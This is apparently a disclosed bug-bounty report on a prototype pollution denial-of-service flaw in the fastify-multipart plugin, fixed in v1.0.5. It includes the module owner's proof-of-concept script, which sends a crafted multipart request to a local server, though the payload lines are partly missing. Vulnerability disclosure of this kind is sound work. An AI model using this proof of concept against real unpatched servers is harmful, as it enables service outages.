

9 Prototype pollution in multipart parsing

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TIMELINE



[mcollina](#) submitted a report to [Node.js third-party modules](#).

Feb 25th (3 years ago)

I would like to report a prototype pollution attack in fastify-multipart it allows to crash a remote server parsing multipart requests by sending a specially crafted request.

Module

module name: fastify-multipart

version: all versions before < v1.0.5. v1.0.5 contains the fix.

npm page: <https://www.npmjs.com/package/fastify-multipart>

Module Description

[Fastify](#) plugin to parse the multipart content-type.

Under the hood it uses [busboy](#).

Module Stats

weekly downloads: 4900

Vulnerability

Vulnerability Description

Eran Hammer found this vulnerability for Hapi, he tested Fastify as well and found it vulnerable.

Here is the Hapi vulnerability report: <https://www.npmjs.com/advisories/1479>.

Steps To Reproduce:

Detailed steps to reproduce with all required references/steps/commands. If there is any exploit code or reference to the package source code this is the place where it should be put.

Patch

This was already released in <https://github.com/fastify/fastify-multipart/pull/116> and version 1.0.5 issued.

Wrap up

Select Y or N for the following statements:

- I contacted the maintainer to let them know: Y
- I opened an issue in the related repository: N

I just need a CVE issued.

Impact

It's a Denial of Service attack



[@analyst_caesar](#) ([HackerOne triage](#)) changed the status to [Needs more info](#).

Feb 26th (3 years ago)

Hello [@mcollina](#) and thanks for your report,

Do you mind sharing with us a code snippet to test it, so I can give a severity, or since you already contacted the owner you want me to send directly to the team?

Thanks!

[@turtle_shell](#)



[mcollina](#) changed the status to [New](#).

Feb 26th (3 years ago)

I am the owner of this module. As I said, I just need a CVE.

Code 1.02 KiB

[Wrap lines](#) [Copy](#) [Download](#)

```
1 const http = require('http')
2 const fastify = require('fastify')()
3 const options = {
4   addToBody: true,
5   onFile: (fieldName, stream, filename, encoding, mimetype, body) => {
6     stream.resume();
7   }
8 };
9 fastify.register(require('fastify-multipart'), options);
10 fastify.post('/', function (req, reply) {
11   console.log(req.body.toString());
12   reply.code(200).send();
13 });
14 fastify.listen(3000, () => {
15   console.log(`server listening on ${fastify.server.address().port}`)
16   const body =
17     '--AaB03x\r\n' +
```

```
21     '... contents of file1.txt ...\r\r\n' +
22     '--AaB03x--\r\n';
23     const r = {
24       hostname: 'localhost',
25       port: 3000,
26       path: '/',
27       method: 'POST',
28       headers: {
29         'content-type': 'multipart/form-data; boundary=AaB03x'
30       }
31     };
32     const req = http.request(r, (res) => { });
33     req.write(body);
34     req.end();
35   });
```

- marcinhoppe** Node.js third-party modules staff

closed the report and changed the status to **Resolved**.

Feb 28th (3 years ago)
- marcinhoppe** Node.js third-party modules staff

requested to disclose this report.
Let's disclose. I will request a CVE once it's disclosed.

Feb 28th (3 years ago)
- mcollina**

agreed to disclose this report.

Feb 28th (3 years ago)
- This report has been disclosed.

Feb 28th (3 years ago)